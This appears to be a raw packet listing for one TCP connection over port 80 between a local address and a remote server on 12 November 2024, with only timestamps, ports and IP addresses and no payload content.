Nov 12, 2024 15:41:26.817141056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817151070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817178011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817183018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817207098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817215919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817229986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817243099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817250013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817271948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817282915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817311049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817333937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817425013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817435980 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817454100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817465067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817468882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817476034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817487955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817498922 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817502975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817509890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817523003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817563057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817573071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817581892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817590952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817603111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817612886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817615032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817627907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817636013 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817660093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817663908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817670107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817697048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817719936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817738056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817778111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817787886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817809105 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817823887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817862034 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.817961931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817975044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.817986012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.818005085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.818006992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.818016052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.818034887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.818068981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.845840931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.845850945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.845860004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.845947027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846052885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846062899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846071959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846097946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846105099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846107960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846117020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846122980 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846168041 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846184015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846194029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846204996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846214056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846225977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846239090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846281052 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846302986 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846318007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846332073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846349955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846358061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846360922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846369028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846380949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846383095 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846405983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846443892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846453905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846463919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846472025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846483946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846498013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846508026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846509933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846534967 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846544027 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846613884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846622944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846668959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846697092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846709013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846721888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846733093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846772909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846801043 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846812010 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846821070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846849918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846858978 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846910000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846920013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846930027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846940041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846951008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846960068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846962929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.846971035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.846981049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847001076 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847021103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847307920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847337961 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847348928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847367048 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847388029 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847541094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847552061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847560883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847570896 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847593069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847615004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847616911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847628117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847636938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847646952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847652912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847680092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847708941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847723007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847733021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847743988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847753048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847763062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847770929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847774029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847785950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847785950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847807884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847846985 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847876072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847892046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847903013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847913027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847923994 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847932100 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847937107 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847953081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847956896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847963095 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847970009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847980976 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.847980976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.847995996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848006964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848009109 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848017931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848026991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848037004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848040104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848068953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848077059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848086119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848097086 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848105907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848115921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848119020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848124981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848138094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848148108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848149061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848156929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848161936 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848184109 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848198891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848203897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848207951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848217964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848228931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848237038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848239899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848265886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848290920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848298073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848300934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848311901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848321915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848323107 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848331928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848344088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848346949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848352909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848375082 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848393917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848403931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848407984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848439932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848596096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848607063 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848615885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848625898 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848637104 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848647118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848650932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848656893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848663092 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848666906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848679066 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848685026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848687887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848697901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848707914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848715067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848718882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848728895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848737955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848740101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848750114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848759890 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848766088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848787069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848788977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848799944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848809004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848812103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848820925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848859072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848882914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.848906040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848927975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848929882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848932981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848937988 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848957062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848968029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.848977089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849005938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849042892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849077940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849086046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849091053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849101067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849111080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849121094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849128962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849132061 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849138975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849149942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849159956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849160910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849190950 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849215984 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.849977970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849987984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.849997044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850008011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850018024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850025892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850030899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850040913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850050926 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850055933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.850070000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850080967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850090027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850100040 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.850101948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850115061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850130081 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.850151062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.850972891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850981951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.850991964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851001024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851011038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851011992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851027966 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851042032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851047993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851051092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851062059 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851070881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851079941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851082087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851092100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851110935 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851133108 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851135015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851145983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851156950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851166964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851171017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851207972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851223946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851233006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851233959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851243019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851253033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851263046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851268053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851272106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851291895 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851325035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851326942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851335049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851342916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851376057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851382971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851392984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851393938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851402998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851421118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851428032 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851434946 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851444960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851454973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851464033 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851494074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851821899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851830959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851840019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851871967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851878881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851881981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851891041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.851912975 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.851936102 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852200031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852260113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852268934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852302074 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852318048 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852328062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 12, 2024 15:41:26.852330923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:41:26.852360010 CET	80	49761	185.215.113.16	192.168.2.4
